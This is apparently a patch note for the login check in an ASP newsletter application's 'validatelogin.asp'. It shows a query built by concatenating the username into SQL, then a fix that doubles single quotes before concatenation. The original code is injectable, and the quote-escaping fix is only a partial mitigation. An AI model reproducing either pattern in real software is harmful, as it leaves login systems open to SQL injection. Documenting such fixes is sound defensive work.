Our solution :

in 'validatelogin.asp' :

function validateLogin(theUserName, thePassword)
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"

change to this :

function validateLogin(theUserName, thePassword)
theUserName = replace(theUserName,"'","''")
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
